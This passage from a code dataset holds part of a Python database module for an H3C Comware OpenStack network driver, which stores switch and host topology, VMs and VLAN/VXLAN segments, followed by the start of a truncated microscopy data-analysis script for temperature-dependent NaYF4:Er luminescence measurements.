msg:\n query = context.session.query(H3cDeviceTopology)\n query.filter_by(device_mac=topo['device_mac'],\n port=topo['port']).delete()\n self.add_device_db(context,\n device_mac=topo['device_mac'],\n port=topo['port'],\n peer_mac=topo['peer_mac'],\n peer_port=topo['peer_port'],\n port_type=topo['port_type'],\n role=topo['role'],\n bagg=topo.get('bagg'))\n\n def del_hostdb(self, context, host_name, host_mac,\n leaf_mac, leaf_port):\n query = context.session.query(H3cHostTopology)\n query.filter_by(host_name=host_name,\n host_mac=host_mac,\n leaf_mac=leaf_mac,\n leaf_port=leaf_port).delete()\n\n def add_hostdb(self, context, host_name, host_mac,\n leaf_port, leaf_mac, leaf_bagg=None):\n com_db = H3cHostTopology(host_name=host_name,\n host_mac=host_mac,\n leaf_port=leaf_port,\n leaf_mac=leaf_mac,\n leaf_bagg=leaf_bagg,\n created_at=timeutils.utcnow())\n context.session.add(com_db)\n\n def create_host_topogoly(self, context, msg, batch):\n LOG.info(\"create_host_topogoly %s\", msg)\n with context.session.begin(subtransactions=True):\n for topo in msg:\n if self.smooth is True:\n self.smooth_host_topology(topo)\n qry = context.session.query(H3cHostTopology). \\\n filter_by(host_name=topo['host_name'],\n leaf_port=topo['leaf_port'],\n leaf_mac=topo['leaf_mac'])\n if qry.count() > 0:\n qry.delete()\n\n self.add_hostdb(context,\n host_name=topo['host_name'],\n host_mac=topo['host_mac'],\n leaf_port=topo['leaf_port'],\n leaf_mac=topo['leaf_mac'],\n leaf_bagg=topo.get('bagg'))\n\n def delete_host_topology(self, context, msg):\n LOG.info(\"delete_host_topology %s\", msg)\n with context.session.begin(subtransactions=True):\n for topo in msg:\n \"\"\"all is equal\"\"\"\n self.del_hostdb(context,\n host_name=topo['host_name'],\n host_mac=topo['host_mac'],\n leaf_mac=topo['leaf_mac'],\n leaf_port=topo['leaf_port'])\n\n def update_host_topology(self, context, msg):\n with context.session.begin(subtransactions=True):\n for topo in msg:\n try:\n context.session.query(H3cHostTopology).filter_by(\n host_name=topo['old_host_name'],\n leaf_port=topo['leaf_port'],\n leaf_mac=topo['leaf_mac']).delete()\n except Exception as e:\n LOG.warn(\"update_host_topology delete failed %s\", e)\n\n self.add_hostdb(context,\n host_name=topo['host_name'],\n host_mac=topo['host_mac'],\n leaf_port=topo['leaf_port'],\n leaf_mac=topo['leaf_mac'],\n leaf_bagg=topo.get('bagg'))\n\n def smooth_topology(self, topo):\n if topo['device_mac'] in self.smoothTopology:\n topo_set = self.smoothTopology[topo['device_mac']]\n if topo['port'] in topo_set:\n topo_set.remove(topo['port'])\n\n def smooth_host_topology(self, topo):\n if topo['leaf_mac'] in self.smooth_host:\n host_set = self.smooth_host[topo['leaf_mac']]\n if topo['host_mac'] in host_set:\n host_set.remove(topo['host_mac'])\n\n def smoothstart_topology(self, context, mac):\n with context.session.begin(subtransactions=True):\n \"\"\"device\"\"\"\n qry = (context.session.query(H3cDeviceTopology).\n filter_by(device_mac=mac))\n\n self.smoothTopology[mac] = set()\n if qry.count() > 0:\n self.smooth = True\n topo_set = self.smoothTopology[mac]\n for one in qry:\n topo_set.add(one['port'])\n\n \"\"\"host\"\"\"\n qry = context.session.query(H3cHostTopology).filter_by(leaf_mac=mac)\n\n self.smooth_host[mac] = set()\n if qry.count() > 0:\n self.smooth = True\n host_set = self.smooth_host[mac]\n for one in qry:\n host_set.add(one['host_mac'])\n\n def smoothend_topology(self, context, mac):\n self.smooth = False\n if mac in self.smoothTopology:\n topo_set = self.smoothTopology[mac]\n del self.smoothTopology[mac]\n else:\n topo_set = set()\n\n if mac in self.smooth_host:\n host_set = self.smooth_host[mac]\n del self.smooth_host[mac]\n else:\n host_set = set()\n\n if ((len(topo_set) == 0) and\n (len(host_set) == 0)):\n return\n\n with context.session.begin(subtransactions=True):\n for port in topo_set:\n (context.session.query(H3cDeviceTopology).\n filter_by(device_mac=mac,\n port=port).delete())\n for host_mac in host_set:\n query = context.session.query(H3cHostTopology)\n query.filter_by(leaf_mac=mac,\n host_mac=host_mac).delete()\n\n def update_aggr_info(self, context, mac, net_type, role,\n ifname, aggr_name):\n proc_host = False\n proc_dev = False\n if role == 'spine':\n if net_type == 'vlan':\n proc_dev = True\n else:\n proc_host = True\n if net_type == 'vlan':\n proc_dev = True\n\n with context.session.begin(subtransactions=True):\n if proc_host is True:\n \"\"\"vlan or vxlan\"\"\"\n qry = context.session.query(H3cHostTopology). \\\n filter_by(leaf_mac=mac,\n leaf_port=ifname)\n for one in qry:\n one.leaf_bagg = aggr_name\n one.update(one)\n\n if proc_dev is True:\n \"\"\"only vlan\"\"\"\n qry = context.session.query(H3cDeviceTopology). \\\n filter_by(device_mac=mac,\n port=ifname)\n for one in qry:\n one.bagg = aggr_name\n one.update(one)\n\n def is_network_created(self, tenant_id, network_id, seg_id=None):\n \"\"\"Checks if a networks is already known to COMWARE.\"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n if not seg_id:\n num_nets = (session.query(H3cRelatedNetworks).\n filter_by(tenant_id=tenant_id,\n network_id=network_id).count())\n else:\n num_nets = (session.query(H3cRelatedNetworks).\n filter_by(tenant_id=tenant_id,\n network_id=network_id,\n segmentation_id=seg_id).count())\n\n return num_nets > 0\n\n def create_network(self, tenant_id, network_id, segment_id, segment_type):\n \"\"\" Store a network relationship in db. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n network = H3cRelatedNetworks(tenant_id=tenant_id,\n network_id=network_id,\n segmentation_id=segment_id,\n segmentation_type=segment_type,\n created_at=timeutils.utcnow())\n session.add(network)\n\n def delete_network(self, tenant_id, network_id):\n \"\"\" Remove a network relationship from comware db. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n query = session.query(H3cRelatedNetworks)\n query.filter_by(network_id=network_id).delete()\n\n def get_vm_host(self, port_id,\n network_id, tenant_id,\n segmentation_id=0):\n session = self.session\n with session.begin(subtransactions=True):\n qry = (session.query(H3cRelatedPorts).\n filter_by(tenant_id=tenant_id,\n port_id=port_id,\n network_id=network_id,\n segmentation_id=segmentation_id))\n for one in qry:\n return one['host_id']\n\n return None\n\n def is_vm_created(self, device_id, host_id, port_id,\n network_id, tenant_id):\n \"\"\"Checks if a VM is already known to comware. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n num_vm = (session.query(H3cRelatedPorts).\n filter_by(tenant_id=tenant_id,\n port_id=port_id,\n network_id=network_id,\n host_id=host_id).count())\n return num_vm > 0\n\n def is_vm_update(self, device_id, host_id, port_id,\n network_id, tenant_id,\n segmentation_id):\n session = self.session\n with session.begin(subtransactions=True):\n num_vm = (session.query(H3cRelatedPorts).\n filter_by(tenant_id=tenant_id,\n port_id=port_id,\n network_id=network_id,\n host_id=host_id,\n segmentation_id=segmentation_id).count())\n return num_vm > 0\n return False\n\n def get_vm_count(self, network_id, host_id, segmentation_id):\n \"\"\" Return the number vm in the same network. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n return (session.query(H3cRelatedPorts).\n filter_by(network_id=network_id,\n host_id=host_id,\n segmentation_id=segmentation_id).count())\n\n def is_leaf_vm_exist(self, network_id, leafmac):\n \"\"\" Return the number vm in the same network. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n query = (session.query(H3cRelatedPorts).\n filter_by(network_id=network_id))\n for one in query:\n count = (session.query(H3cHostTopology).\n filter_by(host_name=one['host_id'],\n leaf_mac=leafmac).count())\n if count > 0:\n return True\n return False\n\n def update_vm(self, device_id, host_id, port_id,\n network_id, tenant_id,\n segmentation_id):\n session = self.session\n with session.begin(subtransactions=True):\n result = (session.query(H3cRelatedPorts).\n filter_by(tenant_id=tenant_id,\n device_id=device_id,\n host_id=host_id,\n port_id=port_id,\n network_id=network_id))\n for vm in result:\n vm.segmentation_id = segmentation_id\n vm.update(vm)\n\n def create_vm(self, device_id, host_id, port_id,\n network_id, tenant_id,\n segmentation_id=0):\n \"\"\" Create a vm with comware. \"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n vm = H3cRelatedPorts(device_id=device_id,\n host_id=host_id,\n port_id=port_id,\n network_id=network_id,\n tenant_id=tenant_id,\n segmentation_id=segmentation_id,\n created_at=timeutils.utcnow())\n session.add(vm)\n\n def delete_vm(self, device_id, host_id, port_id,\n network_id, tenant_id,\n segmentation_id=0):\n \"\"\"Removes all relevant information about a VM from repository.\"\"\"\n session = self.session\n with session.begin(subtransactions=True):\n (session.query(H3cRelatedPorts).\n filter_by(host_id=host_id,\n port_id=port_id, tenant_id=tenant_id,\n network_id=network_id,\n segmentation_id=segmentation_id).delete())\n\n def new_spine(self, spine_list, topo):\n for spine in spine_list:\n if spine['device_mac'] == topo['device_mac']:\n \"\"\"add spine downport\"\"\"\n if topo['bagg'] is not None:\n if topo['bagg'] not in spine['down_port']:\n spine['down_port'].append(topo['bagg'])\n else:\n if topo['port'] not in spine['down_port']:\n spine['down_port'].append(topo['port'])\n return\n dev_dict = dict()\n dev_dict['device_mac'] = topo['device_mac']\n if topo['bagg'] is not None:\n dev_dict['down_port'] = [topo['bagg']]\n else:\n dev_dict['down_port'] = [topo['port']]\n spine_list.append(dev_dict)\n\n def new_leaf(self, leaf):\n leaf_dict = dict()\n leaf_dict['device_mac'] = leaf['leaf_mac']\n if leaf['leaf_bagg'] is not None:\n leaf_dict['down_port'] = [leaf['leaf_bagg']]\n else:\n leaf_dict['down_port'] = [leaf['leaf_port']]\n return leaf_dict\n\n def is_new_leaf(self, dev_dict, new_leaf):\n for one_dev in dev_dict:\n leaf = one_dev['leaf']\n if leaf['device_mac'] == new_leaf['leaf_mac']:\n return leaf\n return None\n\n def get_host_topology(self, host_id):\n dev_dict = []\n session = self.session\n with session.begin(subtransactions=True):\n query = (session.query(H3cHostTopology).\n filter_by(host_name=host_id))\n for one in query:\n onetopo = {}\n \"\"\"leaf\"\"\"\n old_leaf = self.is_new_leaf(dev_dict, one)\n if old_leaf is None:\n leaf_dev = self.new_leaf(one)\n leaf_dev['up_port'] = []\n upport = leaf_dev['up_port']\n onetopo['leaf'] = leaf_dev\n else:\n if one['leaf_bagg'] is not None:\n if one['leaf_bagg'] not in old_leaf['down_port']:\n old_leaf['down_port'].append(one['leaf_bagg'])\n else:\n if one['leaf_port'] not in old_leaf['down_port']:\n old_leaf['down_port'].append(one['leaf_port'])\n continue\n\n \"\"\"leaf up-port\"\"\"\n leaf_dev_topos = (session.query(H3cDeviceTopology).\n filter_by(device_mac=one['leaf_mac']))\n for leaf_topo in leaf_dev_topos:\n if leaf_topo['bagg'] is not None:\n if leaf_topo['bagg'] not in upport:\n upport.append(leaf_topo['bagg'])\n else:\n if leaf_topo['port'] not in upport:\n upport.append(leaf_topo['port'])\n\n \"\"\"spine down-port\"\"\"\n onetopo['spine'] = []\n spine_list = onetopo['spine']\n spine_topos = (session.query(H3cDeviceTopology).\n filter_by(peer_mac=one['leaf_mac']))\n for spine_topo in spine_topos:\n self.new_spine(spine_list, spine_topo)\n dev_dict.append(onetopo)\n return dev_dict\n\n def get_segment(self, session, host_name, segments=None):\n segment = []\n network_id = set()\n vms = (session.query(H3cRelatedPorts).filter_by(host_id=host_name))\n for vm in vms:\n if len(network_id) == 0:\n network_id.add(vm['network_id'])\n elif vm['network_id'] in network_id:\n continue\n else:\n network_id.add(vm['network_id'])\n\n try:\n network = (session.query(H3cRelatedNetworks).\n filter_by(tenant_id=vm['tenant_id'],\n network_id=vm['network_id']).one())\n except Exception as err:\n LOG.warn(\"host %s network:%s get_segment failed: %s\",\n host_name, vm['network_id'], err)\n continue\n if network:\n one = {}\n seg_type = network['segmentation_type']\n one['segment_type'] = seg_type\n if seg_type == 'vlan':\n one['net_segment'] = network['segmentation_id']\n elif seg_type == 'h3c_vxlan' or seg_type == 'vxlan':\n one['net_segment'] = network['segmentation_id']\n one['vlanId'] = vm['segmentation_id']\n \"\"\"single\"\"\"\n segment.append(one)\n \"\"\"All\"\"\"\n if segments is None:\n continue\n if len(segments) == 0:\n segments.append(one)\n else:\n find = False\n for seg in segments:\n if (seg['segment_type'] == one['segment_type'] and\n seg['net_segment'] == one['net_segment'] and\n seg.get('vlanId') == one.get('vlanId')):\n find = True\n break\n\n if not find:\n segments.append(one)\n return segment\n\n def get_spine_cfg(self, session, spin_mac):\n msg = dict()\n msg['role'] = 'spine'\n spines = (session.query(H3cDeviceTopology).\n filter_by(device_mac=spin_mac))\n for spine_topo in spines:\n if spine_topo['bagg'] is not None:\n down_port = spine_topo['bagg']\n else:\n down_port = spine_topo['port']\n if down_port in msg:\n continue\n host_topos = (session.query(H3cHostTopology).\n filter_by(leaf_mac=spine_topo['peer_mac']))\n segments = []\n msg[down_port] = segments\n for host_topo in host_topos:\n self.get_segment(session, host_topo['host_name'], segments)\n return msg\n\n def get_leaf_cfg(self, session, leaf_mac, net_type):\n msg = dict()\n msg['role'] = 'leaf'\n upport = []\n downports = []\n\n msg['upport'] = upport\n msg['up-segment'] = []\n msg['downport'] = downports\n if net_type == 'vlan':\n topos = (session.query(H3cDeviceTopology).\n filter_by(device_mac=leaf_mac))\n for topo in topos:\n if topo['bagg']:\n if topo['bagg'] not in upport:\n upport.append(topo['bagg'])\n else:\n if topo['port'] not in upport:\n upport.append(topo['port'])\n segments = msg['up-segment']\n else:\n segments = None\n\n query = (session.query(H3cHostTopology).\n filter_by(leaf_mac=leaf_mac))\n for host_topo in query:\n segment = self.get_segment(session,\n host_topo['host_name'],\n segments)\n if len(segment) == 0:\n continue\n find = False\n for one in downports:\n if host_topo['leaf_bagg'] is not None:\n tmp_port = host_topo['leaf_bagg']\n else:\n tmp_port = host_topo['leaf_port']\n if tmp_port in one['if']:\n #for one_segment in segment:\n # one['segment'].append(one_segment)\n find = True\n break\n if find is True:\n continue\n downport = {}\n if host_topo['leaf_bagg'] is not None:\n downport['if'] = host_topo['leaf_bagg']\n else:\n downport['if'] = host_topo['leaf_port']\n downport['segment'] = segment\n downports.append(downport)\n return msg\n\n def batch_device_cfg(self, context, mac, role, net_type):\n msg = None\n with context.session.begin(subtransactions=True):\n try:\n if role == 'spine' and net_type == 'vlan':\n msg = self.get_spine_cfg(context.session, mac)\n elif role == 'leaf':\n msg = self.get_leaf_cfg(context.session, mac, net_type)\n except Exception as e:\n LOG.exception('batch_device_cfg error %s', e)\n return msg\n\n def get_vlan_by_device(self, session, topo_list, mac, is_del=False):\n msg = {}\n if mac not in self.smoothTopology or is_del is True:\n role = topo_list[0]['role']\n if role != 'spine' and role != 'leaf':\n LOG.warn(\"device %s role error %s\", mac, topo_list)\n return msg\n\n msg[mac] = {}\n msg[mac]['role'] = role\n if role == 'leaf':\n upport = []\n segments = []\n msg[mac]['upport'] = upport\n msg[mac]['up-segment'] = segments\n msg[mac]['downport'] = []\n with session.begin(subtransactions=True):\n for topo in topo_list:\n if role == 'spine':\n if 'bagg' in topo:\n if is_del is True:\n count = self.get_dev_topo_count(session, topo)\n if count > 1:\n down_port = topo['port']\n else:\n down_port = topo['bagg']\n else:\n down_port = topo['bagg']\n else:\n down_port = topo['port']\n segments = []\n msg[mac][down_port] = segments\n leaf_mac = topo['peer_mac'] \n else:\n if 'bagg' in topo:\n if is_del is True:\n count = self.get_dev_topo_count(session, topo)\n if count > 1:\n up_port = topo['port']\n else:\n up_port = topo['bagg']\n else:\n up_port = topo['bagg']\n else:\n up_port = topo['port']\n if up_port not in upport:\n upport.append(up_port)\n leaf_mac=topo['device_mac']\n\n query = (session.query(H3cHostTopology).\n filter_by(leaf_mac=leaf_mac))\n for port in query:\n self.get_segment(session, port['host_name'], segments)\n return msg\n\n def get_vlan_up_info(self, session, msg):\n segments = []\n up_segments = []\n del_segments = []\n\n for mac in msg:\n if msg[mac]['role'] == 'leaf':\n up_segments = msg[mac]['up-segment']\n if len(up_segments) == 0:\n return\n with session.begin(subtransactions=True):\n query = (session.query(H3cHostTopology).\n filter_by(leaf_mac=mac))\n for one in query:\n self.get_segment(session, one['host_name'], segments)\n \"\"\"only one leaf\"\"\"\n break\n for old in up_segments:\n if old not in segments:\n del_segments.append(old)\n for mac in msg:\n if msg[mac]['role'] == 'leaf':\n msg[mac]['up-segment'] = del_segments\n elif msg[mac]['role'] == 'spine':\n for key in msg[mac]:\n if key != 'role':\n msg[mac][key] = del_segments\n\n def get_host_vlan_by_topology(self, session, topos, mac, is_del=False):\n msg = {}\n if mac not in self.smooth_host or is_del is True:\n msg[mac] = {}\n upport = []\n downports = []\n segments = []\n msg[mac]['upport'] = upport\n msg[mac]['up-segment'] = segments\n msg[mac]['downport'] = downports\n msg[mac]['role'] = 'leaf'\n with session.begin(subtransactions=True):\n for one in topos:\n downport = {}\n if 'bagg' in one:\n if is_del is True:\n count = self.get_host_topo_count(session,\n one['host_name'],\n one['leaf_mac']) \n if count > 1:\n \"\"\"have other topology, no process\"\"\"\n continue\n downport['if'] = one['bagg']\n else:\n downport['if'] = one['leaf_port']\n segment = self.get_segment(session,\n one['host_name'],\n segments)\n downport['segment'] = segment\n downports.append(downport)\n\n leaf_topos = (session.query(H3cDeviceTopology).\n filter_by(device_mac=one['leaf_mac']))\n for leaf_topo in leaf_topos:\n \"\"\"upport\"\"\"\n if leaf_topo['bagg'] is not None:\n tmp_port = leaf_topo['bagg']\n else:\n tmp_port = leaf_topo['port']\n if tmp_port not in upport:\n upport.append(tmp_port)\n \"\"\"spine\"\"\"\n peer_mac = leaf_topo['peer_mac']\n if peer_mac not in msg:\n msg[peer_mac] = {}\n msg[peer_mac]['role'] = 'spine'\n spine_topos = (session.query(H3cDeviceTopology).\n filter_by(device_mac=peer_mac,\n peer_mac=one['leaf_mac']))\n for spine_topo in spine_topos:\n if spine_topo['bagg'] is not None:\n tmp_port = spine_topo['bagg']\n else:\n tmp_port = spine_topo['port']\n msg[peer_mac][tmp_port] = segments\n if len(segments) == 0:\n msg = {}\n return msg\n\n def get_leaf_vxlan_by_topology(self, session, topos, mac, is_del=False):\n msg = {}\n if mac not in self.smooth_host or is_del is True:\n downports = []\n msg['role'] = 'leaf'\n msg['upport'] = []\n msg['up-segment'] = []\n msg['downport'] = downports\n with session.begin(subtransactions=True):\n for one in topos:\n segment = self.get_segment(session,\n one['host_name'])\n downport = {}\n if 'bagg' in one:\n if is_del is True:\n count = self.get_host_topo_count(session,\n one['host_name'],\n one['leaf_mac']) \n if count > 1:\n \"\"\"have other topology, no process\"\"\"\n continue\n downport['if'] = one['bagg']\n else:\n downport['if'] = one['leaf_port']\n downport['segment'] = segment\n if len(segment) > 0:\n downports.append(downport)\n if len(downports) == 0:\n msg = {}\n return msg\n\n def get_host_topo_count(self, session, host_name, leaf_mac):\n return (session.query(H3cHostTopology).\n filter_by(host_name=host_name,\n leaf_mac=leaf_mac).count())\n\n def get_dev_topo_count(self, session, topo):\n return (session.query(H3cDeviceTopology).\n filter_by(device_mac=topo['device_mac'],\n peer_mac=topo['peer_mac']).count())\n\n def aging_device_topology(self, device_mac):\n try:\n query = self.session.query(H3cDeviceTopology)\n query.filter_by(device_mac=device_mac).delete()\n LOG.info(\"aging device topology, device mac:%s\", device_mac)\n except Exception as e:\n LOG.warn(\"aging device topology failed %s\", e)\n\n def aging_host_topology(self, leaf_mac):\n try:\n query = self.session.query(H3cHostTopology)\n query.filter_by(leaf_mac=leaf_mac).delete()\n LOG.info(\"aging host topology, devic mac:%s\", leaf_mac)\n except Exception as e:\n LOG.warn(\"aging host topology failed %s\", e)\n","sub_path":"src/h3c/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":36281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"156304129","text":"#==============================================================================\n# 1.6ms, 50 move, 150 excite, 1400 transient\n# 1MHz clock rate (1mus timebins)\n# 5 frames\n# 150kX mag\n# standard: 300pixels\n# 10kV\n# 30mum == 379pA\n#with filter: 592 dicrhoic + 550/***32***nm in blue pmt + 650/54nm in red pmt, semrock brightline\n#IL chanel config: using preamp from Supra room\n#doing filter than amplifying\n#preamplifier set to: channel A, floating input, filter at 5kHz, LP, slope 12, gain 1 x100, DC coupling\n#==============================================================================\n\nimport os\nimport sys\nsys.path.append(\"/usr/bin\") # necessary for the tex fonts\nsys.path.append(\"../Python modules/\") # necessary for the tex fonts\nimport scipy as sp\nimport scipy.misc\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport h5py\nimport numpy as np\n#from BackgroundCorrection import *\n#from TConversionThermocoupler import *\nimport matplotlib.cm as cm\nimport scipy.ndimage as ndimage\n#from matplotlib_scalebar.scalebar import ScaleBar #### Has issue with plotting using latex font. only import when needed, then unimport\n#from mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom MakePdf import *\nfrom matplotlib.pyplot import cm #to plot following colors of rainbow\nfrom matplotlib import rc\n#from CreateDatasets import *\nimport warnings\nwarnings.simplefilter(action = \"ignore\", category = RuntimeWarning)\nwarnings.simplefilter(action = \"ignore\", category = DeprecationWarning)\nwarnings.simplefilter(action = \"ignore\", category = FutureWarning)\nwarnings.simplefilter(action = \"ignore\", category = PendingDeprecationWarning)\n#from Registration import * \n#from tifffile import *\n#from sklearn.mixture import GMM \nimport matplotlib.cm as cm\n#from FluoDecay import *\n#from PlottingFcts import *\n#from mpl_toolkits.axes_grid1 import make_axes_locatable\nimport scipy.misc\n#import matplotlib.animation as animation\nimport gc\nimport tempfile\nfrom tempfile import TemporaryFile\n\nimport skimage\nfrom skimage import exposure\nfrom my_fits import *\n\nimport pickle\nimport my_fits\nfrom uncertainties import unumpy\nfrom numpy import genfromtxt\nfrom CreateDatasets import *\n#PARAMS THAT NEED TO BE CHANGED\n###############################################################################\n###############################################################################\n###############################################################################\n#######\n\nTime_bin = 1000#in ns; \nnominal_time_on = 150.0 #time during which e-beam nominally on, in mus\ntotaltrpoints = 1400 #total number of time-resolved points\n\n\n\ndescription = ['Andrea small NaYF4:Er'] # (20kV, 30$\\mu$m, ' + str(Ps[index]) + 'nm pixels, ' + str(No_experiments[index]) + 'expts., InLens registered)'] #, \\n' #+ obs[index] '] \n \nkv = [10]\n\n#nominal Temps\nnametr = ['2017-03-26-1237_ImageSequence__150.000kX_10.000kV_30mu_5',\n '2017-03-26-1344_ImageSequence__150.000kX_10.000kV_30mu_6',\n '2017-03-26-1455_ImageSequence__150.000kX_10.000kV_30mu_7',\n '2017-03-26-1555_ImageSequence__150.000kX_10.000kV_30mu_8',\n '2017-03-26-1707_ImageSequence__150.000kX_10.000kV_30mu_9',\n '2017-03-26-1802_ImageSequence__150.000kX_10.000kV_30mu_10']\n\nPixel_size = 2.48#nm\nPs = Pixel_size #pixel size in nm, the numbers above with round nm precision\nNo_experiments = 5*np.ones([6])\n\nlet = ['RT','N30','N40','N50','N60', 'N70']\ntemp = [24.9, 30.4, 39.75, 51.05, 60.05, 70.4]\ntempstd = [0.1, 0.3, 0.25, 0.95, 0.35, 0.7]\n######################################## Plot with dose for different apertures\n##files below exist \n\nno_avg = 5\n\nil_data = np.zeros([no_avg,len(nametr)])\nil_data_std = np.zeros([no_avg,len(nametr)])\n\nblue_int_array = np.zeros([no_avg,len(nametr)])\nred_int_array = np.zeros([no_avg,len(nametr)])\n\nblue_std_array = np.zeros([no_avg,len(nametr)])\nred_std_array = np.zeros([no_avg,len(nametr)])\n\nred_decay_array = np.zeros([no_avg,len(nametr),1398])\nblue_decay_array = np.zeros([no_avg,len(nametr),1398])\n\nbgblue_int_array = np.zeros([no_avg,len(nametr)])\nbgred_int_array = np.zeros([no_avg,len(nametr)])\n\nbgblue_std_array = np.zeros([no_avg,len(nametr)])\nbgred_std_array = np.zeros([no_avg,len(nametr)])\n\nbgred_decay_array = np.zeros([no_avg,len(nametr),1398])\nbgblue_decay_array = np.zeros([no_avg,len(nametr),1398])\n\npisize =Pixel_size\n\nlistofindex =np.arange(0,len(nametr))#,11]\n\n\nconsider_whole_light = []; #[0,1,2,3,4,5] #0,1,2,3,4,5,6]\n\nax0 = plt.subplot2grid((2,3), (0,0), colspan=1, rowspan=1)\nax1 = plt.subplot2grid((2,3), (0,1), colspan=1, rowspan=1)\nax2 = plt.subplot2grid((2,3), (0,2), colspan=1, rowspan=1)\nax3= plt.subplot2grid((2,3), (1,0), colspan=1, rowspan=1)\nax4 = plt.subplot2grid((2,3), (1,1), colspan=1, rowspan=1)\nax5 = plt.subplot2grid((2,3), (1,2), colspan=1, rowspan=1)\n\naxvec = [ax0, ax1,ax2,ax3,ax4,ax5]\n\n#all cuts adjusted so that if one less pixel, loses contrast\nxinit = [ 16, 5, 12, 22, 4, 13] \nxend = [-16, -5,-12, -22, -4, -13]\nyinit = [ 12, 6, 1, 31, 2, 27] \nyend = [-12, -6, -1, -31, -2, -27]\n\nlistofindex =np.arange(0,len(nametr))\nfor index in listofindex:\n \n print(index)\n il_data[index] = temp[index]\n il_data_std[index] = tempstd[index]\n \n #ANTIGO \n#==============================================================================\n# #IL\n# il = np.load(str(let[index]) +'ILchannel.npz') \n# # ###IL\n# # if index == 7:\n# # il_data[index] = 31.2\n# # else:\n# # aparam = 0.233801\n# # bparam = 0.000144\n# # delta = aparam*np.average(il['data'], axis = (0,1,2)) + bparam\n# # il_data[index] = KThermocouplerconversion(np.average(il['data'], axis = (0,1,2)) + 1.0e-3 + delta)\n# \n# \n# # if index == 0:\n# # deltav2 = +0.240e-3 # KThermocouplerconversion(1.0e-3) #take average per frame \n# # if index == 1:\n# # deltav2 = +0.229e-3\n# # if index == 2:\n# # deltav2 = +0.100e-3\n# # if index == 3:\n# # deltav2 = +0.225e-3\n# # if index == 4:\n# # deltav2 = +0.359e-3\n# # if index == 5:\n# # deltav2 = +0.505e-3\n# # if index == 6:\n# # deltav2 = +0.660e-3\n# # \n# # \n# # hulper = np.average(il['data'], axis = (1,2)) \n# # il_data[index] = KThermocouplerconversion(hulper[0] + 1.0e-3 + deltav2) #take average per frame \n# \n# il_data[index] = temp[index] \n# #print(hulper[0])\n# #print(np.average(il['data'], axis = (0,1,2)))\n# #print(il_data)\n# \n# \n# \n# \n# ############################## FFT to cut noise in Temperature/IL data\n# #result = []\n# #print(dataALLred.shape[1])\n# total_time = totaltrpoints*Time_bin/1000.0 # in us\n# #print(total_time)\n# se1 = np.array(il['data'])\n# #se = se[0, :, :]\n# t = se1.flatten()\n# x = np.linspace(0, total_time, len(t))\n# #plt.figure(1)\n# #plt.plot( x * 1e-6/1e-3, t)\n# #plt.figure(2)\n# fft_y = np.fft.fft(t)\n# n = t.size\n# timestep = Time_bin\n# freq = np.fft.fftfreq(n, d = timestep)\n# #plt.semilogy(freq, np.abs(fft_y))\n# ind = np.abs(freq) > 1000\n# fft_y_cut = np.copy(fft_y)\n# fft_y_cut[ind] = 0.0\n# #plt.semilogy(freq, np.abs(fft_y_cut), 'r')\n# new_y = np.abs(np.fft.ifft(fft_y_cut))\n# #plt.figure(1)\n# #plt.plot( x * 1e-6/1e-3, new_y, label = str(k))\n# #plt.legend()\n# #result.append(np.mean(new_y[:-10]))\n# #result = np.array(result)\n# #deltav =0# -0.190e-3\n# #il_data[index] = KThermocouplerconversion(np.array(np.mean(new_y[:-10])) + 1.0e-3)\n# il_data_std[index] = KThermocouplerconversion(np.std(new_y[:-10]) )\n# #print(il_data)\n# #print(il_data_std)\n# # \n# \n# #il_data_std[index] = KThermocouplerconversion(np.std(il['data'], axis = (1,2)) )\n#==============================================================================\n \n #print(il_data_std) \n #del il, se1, t, fft_y, fft_y_cut, freq, ind, x, new_y\n #gc.collect()\n \n print('after il data') \n \n print('before loading')\n \n #\n \n se = np.load(str(let[index]) +'SEchannel.npz',mmap_mode='r') \n \n \n \n \n \n \n backgdinit = 50\n initbin = (150+50+3)-1\n\n print('after skimage')\n \n #################\n \n #to plot the pics, uncomment 5 next lines\n if True:\n #axvec[index].imshow(se['data'][xinit[index]:xend[index],yinit[index]:yend[index]],cmap=cm.Greys) #or 'OrRd'\n \n boe_hlp = se['data'][xinit[index]:xend[index],yinit[index]:yend[index]] \n \n fft_hlp = np.fft.fft2(boe_hlp)\n\n #axvec[index].pcolor(np.log(np.abs(fft_hlp)))#, vmin = 3, vmax = 4)\n \n #cla test\n fft_hlp[225:240, 0:70] = 0\n fft_hlp[190:260, 25:30] = 0\n fft_hlp[10:90, 250:270] = 0\n fft_hlp[45:60, 230:280] = 0\n\n# \n# fft_hlp[220:246, 20:35] = 0\n# fft_hlp[220:246, 250:270] = 0\n# \n# fft_hlp[45:60, 250:270] = 0\n# fft_hlp[45:60, 20:35] = 0\n\n new_pic = np.fft.ifft2(fft_hlp)\n \n\n #axvec[index+1].pcolor(boe_hlp)#, vmin = 3, vmax = 4)\n #axvec[index].pcolor(new_pic)#, vmin = 3, vmax = 4)\n \n #plt.show()\n\n #axvec[index].pcolor(new_pic,cmap=cm.Greys) \n \n \n print('after imshow') \n #del segmm, red, blue,se\n gc.collect()\n \n red0 = np.load(str(let[index]) +'Redbright.npz',mmap_mode='r') \n blue0 = np.load(str(let[index]) +'Bluebright.npz',mmap_mode='r') \n \n red = red0['data'] \n blue = blue0['data']\n del red0, blue0\n gc.collect()\n \n segmm, means, covars, weights = gmmone_tr_in_masked_channel_modif_memory_issue(np.abs(new_pic)) \n ##############################################################\n red = red[:,:,xinit[index]:xend[index],yinit[index]:yend[index]]\n blue = blue[:,:,xinit[index]:xend[index],yinit[index]:yend[index]]\n \n del means, covars, weights\n gc.collect()\n \n# axvec[index].imshow(segmm,cmap=cm.Greys)\n# print(segmm)\n# print(np.nanmax(segmm))\n# print(np.nanmin(segmm))\n# del segmm#, red\n# gc.collect()\n \n#multipage_longer('Checkcuts.pdf',dpi=80)\n#plt.show()\n#multipage_longer('Checkfft.pdf',dpi=80)\n#multipage_longer('Checksegmm.pdf',dpi=80)\n#klklkk \n#if 